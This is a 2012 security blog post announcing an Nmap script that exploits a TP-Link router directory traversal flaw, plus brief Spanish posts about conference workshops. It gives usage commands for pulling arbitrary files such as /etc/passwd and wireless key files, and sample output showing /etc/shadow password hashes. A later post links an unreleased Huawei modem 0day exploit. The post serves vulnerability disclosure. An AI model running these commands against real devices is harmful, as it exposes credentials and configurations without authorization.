http-tplink-dir-traversal
by on Tue, Jul 10 2012 05:18:00
I wrote a NSE script to exploit a path traversal vulnerability in several TP-Link access points.
description = [[
Exploits a directory traversal vulnerability existing in several TP-Link wireless routers. Attackers may exploit this vulnerability to read any of the configuration and password files remotely and without authentication.
This vulnerability was confirmed in models WR740N, WR740ND and WR2543ND but there are several models that use the same HTTP server so I believe they could be vulnerable as well. I appreciate
any help confirming the vulnerability in other models.
Advisory:
* http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
Other interesting files:
* /tmp/topology.cnf (Wireless configuration)
* /tmp/ath0.ap_bss (Wireless encryption key)
]]
---
-- @usage nmap -p80 --script http-tplink-dir-traversal.nse <target>
-- @usage nmap -p80 -Pn -n --script http-tplink-dir-traversal.nse <target>
-- @usage nmap -p80 --script http-tplink-dir-traversal.nse --script-args rfile=/etc/topology.conf -d -n -Pn <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-tplink-dir-traversal:
-- | VULNERABLE:
-- | Path traversal vulnerability in several TP-Link wireless routers
-- | State: VULNERABLE (Exploitable)
-- | Description:
-- | Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
-- | This vulnerability can be exploited remotely and without authenticatication.
-- | Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
-- | Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.
-- | Disclosure date: 2012-06-18
-- | Extra information:
-- | /etc/shadow :
-- |
-- | root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
-- | Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
-- | bin::10933:0:99999:7:::
-- | daemon::10933:0:99999:7:::
-- | adm::10933:0:99999:7:::
-- | lp:*:10933:0:99999:7:::
-- | sync:*:10933:0:99999:7:::
-- | shutdown:*:10933:0:99999:7:::
-- | halt:*:10933:0:99999:7:::
-- | uucp:*:10933:0:99999:7:::
-- | operator:*:10933:0:99999:7:::
-- | nobody::10933:0:99999:7:::
-- | ap71::10933:0:99999:7:::
-- |
-- | References:
-- |_ http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
--
-- @args http-tplink-dir-traversal.rfile Remote file to download. Default: /etc/passwd
-- @args http-tplink-dir-traversal.outfile If set it saves the remote file to this location.
Resources
Nuevo release de HHG5XX
by on Wed, Jun 20 2012 16:09:00
Presentacion de GuadalajaraCON 2012
by on Sun, May 06 2012 23:00:00
Este pasado 21 de Abril tuve dí una platica sobre escaneo distribuido en GuadalajaraCON 2012. Hicimos el release de una versión especial para este evento de la herramienta Dnmap. Pueden descargar la presentación y el software desde los siguiente links:
http://www.guadalajaracon.org/wp-content/uploads/2012/04/GuadalajaraCONNmapDistribuidoSlides.pdf
Taller de desarrollo NSE de BugCON 2012
by on Tue, May 01 2012 22:48:00
Aquí les comparto el material de mi taller de desarrollo NSE que dí en BugCON 2012. Incluye recursos, ejemplos, slides y hasta un script no publico aún para explotar un 0day en modems Huawei:
https://www.dropbox.com/s/xrj6gghbksnqiua/BUGCON--NMAP-NSE.zip
Manden sus comentarios para mejorar el material.
Posted in Nmap | 13 Comments
